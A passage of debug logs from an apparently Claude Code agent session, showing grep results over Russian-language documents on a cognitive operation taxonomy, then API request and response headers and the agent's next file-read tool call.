\"content\": [\n[2026-09-29T07:47:00.602Z] [INFO]       {\n[2026-09-29T07:47:00.602Z] [INFO]         \"tool_use_id\": \"toolu_01KDNM1rLjRxmjMWuKhSyWYf\",\n[2026-09-29T07:47:00.602Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:47:00.602Z] [INFO]         \"content\": \"ba-meta-model/operation-taxonomy/00-introduction.md:27:2. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0437\u0434\u0435\u0441\u044c \u2014 **\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435\\nba-meta-model/operation-taxonomy/00-introduction.md:33:   \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.\\nba-meta-model/operation-taxonomy/00-introduction.md:37:5. \u0421\u043b\u043e\u0432\u0430\u0440\u044c **\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439**: 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445 \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435,\\nba-meta-model/operation-taxonomy/10-theory.md:24:| `D4` | 8 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0438\u0437 13 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u044e\u0442 \u0440\u0430\u0437\u043d\u043e\u0440\u043e\u0434\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438: `understanding` \u2014 \u00ab\u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0442\u0435\u0440\u043c\u0438\u043d\u044b, \u0446\u0435\u043b\u0438, \u043d\u0435\u044f\u0432\u043d\u044b\u0435 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u044f;\\nba-meta-model/operation-taxonomy/10-theory.md:43:| `OA-4` | **\u041e\u0434\u0438\u043d \u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.** \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u043a\u043b\u0430\u0441\u0441\u0443 \u0438\u0437 \u043f\u044f\u0442\u0438 (\u00a73). \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u043c\u0435\\nba-meta-model/operation-taxonomy/10-theory.md:51:## 3. \u041f\u044f\u0442\u044c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432\\nba-meta-model/operation-taxonomy/20-taxonomy.md:48:| `OI-3` | ID \u0441\u0442\u0430\u0431\u0438\u043b\u0435\u043d \u043f\u0440\u0438 \u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0438 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438 \u043d\u0435 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u0438; \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441\u043e\u0437\u0434\u0430\u0451\\nba-meta-model/operation-taxonomy/20-taxonomy.md:230:\u043e\u043d\u0438 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0435 \u0442\u0438\u043f\u044b \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0444\u0435\u043a\u0442\\nba-meta-model/operation-taxonomy/30-decision-framework.md:29:| 3 | \u0420\u0430\u0431\u043e\u0442\u0430 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0442\u0438\u043f\u0430 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b (\u00a73 \u0442\u0435\u043e\u0440\u0438\u0438)? | **\u043d\u0430\u0432\u044b\u043a** (`L3`) | \u0448\u0430\u0433 4 |\\nba-meta-model/operation-taxonomy/30-decision-framework.md:69:| `OG-4` | \u042f\u0440\u0443\u0441 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438: \u0435\u0441\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0440\u0430\u0437\u0438\u0442\u044c \u043a\u043e\u0434\u043e\u043c \u0438\u043b\u0438 \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0432\u0435\u0440\u043a\u043e\\nba-meta-model/operation-taxonomy/30-decision-framework.md:85:| `EO-4` | \u041e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u043a\u043b\u0430\u0441\u0441 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b, \u0438 \u043e\u043d \u043e\u0434\u0438\u043d | \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f |\",\n[2026-09-29T07:47:00.602Z] [INFO]         \"is_error\": false\n[2026-09-29T07:47:00.602Z] [INFO]       }\n[2026-09-29T07:47:00.602Z] [INFO]     ]\n[2026-09-29T07:47:00.602Z] [INFO]   },\n[2026-09-29T07:47:00.602Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:00.602Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:00.602Z] [INFO]   \"uuid\": \"c76e18f8-f1bb-40cb-9f17-68cf68c9b906\",\n[2026-09-29T07:47:00.602Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:00.572Z\",\n[2026-09-29T07:47:00.602Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:47:00.602Z] [INFO]     \"stdout\": \"ba-meta-model/operation-taxonomy/00-introduction.md:27:2. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0437\u0434\u0435\u0441\u044c \u2014 **\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435, \u043d\u043e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435\\nba-meta-model/operation-taxonomy/00-introduction.md:33:   \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f, \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.\\nba-meta-model/operation-taxonomy/00-introduction.md:37:5. \u0421\u043b\u043e\u0432\u0430\u0440\u044c **\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439**: 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445 \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435,\\nba-meta-model/operation-taxonomy/10-theory.md:24:| `D4` | 8 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0438\u0437 13 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u044f\u044e\u0442 \u0440\u0430\u0437\u043d\u043e\u0440\u043e\u0434\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438: `understanding` \u2014 \u00ab\u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0442\u0435\u0440\u043c\u0438\u043d\u044b, \u0446\u0435\u043b\u0438, \u043d\u0435\u044f\u0432\u043d\u044b\u0435 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u044f;\\nba-meta-model/operation-taxonomy/10-theory.md:43:| `OA-4` | **\u041e\u0434\u0438\u043d \u0442\u0438\u043f \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.** \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0438\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u043d\u043e\u043c\u0443 \u043a\u043b\u0430\u0441\u0441\u0443 \u0438\u0437 \u043f\u044f\u0442\u0438 (\u00a73). \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u043c\u0435\\nba-meta-model/operation-taxonomy/10-theory.md:51:## 3. \u041f\u044f\u0442\u044c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432\\nba-meta-model/operation-taxonomy/20-taxonomy.md:48:| `OI-3` | ID \u0441\u0442\u0430\u0431\u0438\u043b\u0435\u043d \u043f\u0440\u0438 \u0443\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0438 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0438 \u043d\u0435 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u0438; \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441\u043e\u0437\u0434\u0430\u0451\\nba-meta-model/operation-taxonomy/20-taxonomy.md:230:\u043e\u043d\u0438 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u044f\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0435 \u0442\u0438\u043f\u044b \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u0435\u0444\u0435\u043a\u0442\\nba-meta-model/operation-taxonomy/30-decision-framework.md:29:| 3 | \u0420\u0430\u0431\u043e\u0442\u0430 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0442\u0438\u043f\u0430 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b (\u00a73 \u0442\u0435\u043e\u0440\u0438\u0438)? | **\u043d\u0430\u0432\u044b\u043a** (`L3`) | \u0448\u0430\u0433 4 |\\nba-meta-model/operation-taxonomy/30-decision-framework.md:69:| `OG-4` | \u042f\u0440\u0443\u0441 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438: \u0435\u0441\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u044b\u0440\u0430\u0437\u0438\u0442\u044c \u043a\u043e\u0434\u043e\u043c \u0438\u043b\u0438 \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0432\u0435\u0440\u043a\u043e\\nba-meta-model/operation-taxonomy/30-decision-framework.md:85:| `EO-4` | \u041e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u043a\u043b\u0430\u0441\u0441 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b, \u0438 \u043e\u043d \u043e\u0434\u0438\u043d | \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f |\",\n[2026-09-29T07:47:00.602Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:47:00.602Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:47:00.602Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:47:00.602Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:47:00.602Z] [INFO]   }\n[2026-09-29T07:47:00.602Z] [INFO] }\n[2026-09-29T07:47:00.673Z] [STDOUT] [log_781ea2] sending request {\n[2026-09-29T07:47:00.676Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:00.678Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:00.680Z] [STDOUT]   options: {\n[2026-09-29T07:47:00.684Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:00.689Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:00.691Z] [STDOUT]     body: {\n[2026-09-29T07:47:00.696Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:00.700Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:00.703Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:00.711Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:00.728Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:00.741Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:00.754Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:00.763Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:00.775Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:00.779Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:00.823Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:00.838Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:00.848Z] [STDOUT]     },\n[2026-09-29T07:47:00.858Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:00.860Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:00.871Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:00.881Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:00.890Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:00.895Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:00.900Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:00.905Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:00.911Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:00.916Z] [STDOUT]     },\n[2026-09-29T07:47:00.924Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:00.928Z] [STDOUT]   },\n[2026-09-29T07:47:00.930Z] [STDOUT]   headers: {\n[2026-09-29T07:47:00.935Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:00.938Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:00.941Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:00.942Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:00.945Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:00.949Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:00.953Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:00.955Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:00.962Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:00.966Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1499\",\n[2026-09-29T07:47:00.974Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:00.979Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:47:00.983Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:00.986Z] [STDOUT]     \"x-client-request-id\": \"cfa20ebf-2998-4194-9e89-8d5bd4c2feb7\",\n[2026-09-29T07:47:00.989Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:00.998Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:01.002Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:01.005Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:01.008Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:01.012Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:01.019Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:01.040Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:01.049Z] [STDOUT]   },\n[2026-09-29T07:47:01.068Z] [STDOUT] }\n[2026-09-29T07:47:01.607Z] [STDOUT] [log_781ea2, request-id: \"req_011CfXMsq7AkdygFi2e9b5YN\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 935ms\n[2026-09-29T07:47:01.635Z] [STDOUT] [log_781ea2] response start {\n[2026-09-29T07:47:01.677Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:01.686Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:01.699Z] [STDOUT]   headers: {\n[2026-09-29T07:47:01.741Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:01.751Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:01.774Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:01.789Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:01.819Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:01.826Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:01.841Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:01.854Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:01.860Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:01.871Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:01.881Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": 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charset=utf-8\",\n[2026-09-29T07:47:01.971Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:01 GMT\",\n[2026-09-29T07:47:01.976Z] [STDOUT]     \"request-id\": \"req_011CfXMsq7AkdygFi2e9b5YN\",\n[2026-09-29T07:47:01.988Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:02.001Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:02.016Z] [STDOUT]     traceresponse: \"00-da3781990b02c652d8e912d1878682a2-59e4de627121b9af-01\",\n[2026-09-29T07:47:02.034Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:02.048Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:02.065Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:02.076Z] [STDOUT]   },\n[2026-09-29T07:47:02.092Z] [STDOUT]   durationMs: 935,\n[2026-09-29T07:47:02.110Z] [STDOUT] }\n[2026-09-29T07:47:02.117Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:02.121Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:01 GMT\",\n[2026-09-29T07:47:02.125Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:02.141Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:02.150Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:02.168Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:02.181Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:02.191Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:02.199Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:02.212Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:02.217Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:02.228Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:02.238Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:02.248Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:02.260Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:02.265Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:02.268Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:02.275Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:02.281Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:02.287Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:02.291Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:02.296Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:02.301Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:02.304Z] [STDOUT]   \"request-id\": \"req_011CfXMsq7AkdygFi2e9b5YN\",\n[2026-09-29T07:47:02.308Z] [STDOUT]   \"traceresponse\": \"00-da3781990b02c652d8e912d1878682a2-59e4de627121b9af-01\",\n[2026-09-29T07:47:02.310Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:02.313Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:02.318Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:02.322Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:02.325Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:02.331Z] [STDOUT]   \"cf-ray\": \"a42960993b2bdbb5-FRA\",\n[2026-09-29T07:47:02.335Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:02.339Z] [STDOUT] [log_781ea2] response parsed {\n[2026-09-29T07:47:02.343Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:02.347Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:02.352Z] [STDOUT]   body: X {\n[2026-09-29T07:47:02.357Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:02.359Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:02.371Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:02.377Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:02.380Z] [STDOUT]     },\n[2026-09-29T07:47:02.383Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:02.388Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:02.393Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:02.398Z] [STDOUT]   },\n[2026-09-29T07:47:02.404Z] [STDOUT]   durationMs: 951,\n[2026-09-29T07:47:02.408Z] [STDOUT] }\n[2026-09-29T07:47:03.083Z] [INFO] {\n[2026-09-29T07:47:03.083Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:03.083Z] [INFO] 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ba-meta-model/operation-taxonomy/20-taxonomy.md\",\n[2026-09-29T07:47:03.083Z] [INFO]           \"description\": \"Read the five cognitive classes definition\"\n[2026-09-29T07:47:03.083Z] [INFO]         },\n[2026-09-29T07:47:03.083Z] [INFO]         \"caller\": {\n[2026-09-29T07:47:03.083Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:47:03.083Z] [INFO]         }\n[2026-09-29T07:47:03.083Z] [INFO]       }\n[2026-09-29T07:47:03.083Z] [INFO]     ],\n[2026-09-29T07:47:03.083Z] [INFO]     \"container\": null,\n[2026-09-29T07:47:03.083Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:03.083Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:03.083Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:03.083Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:03.083Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:03.083Z] [INFO]       \"cache_creation_input_tokens\": 999,\n[2026-09-29T07:47:03.083Z] [INFO]       \"cache_read_input_tokens\": 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\"ee3eb5bb-1ba5-4d9a-8655-aacd3dd41608\",\n[2026-09-29T07:47:03.083Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:03.025Z\",\n[2026-09-29T07:47:03.083Z] [INFO]   \"request_id\": 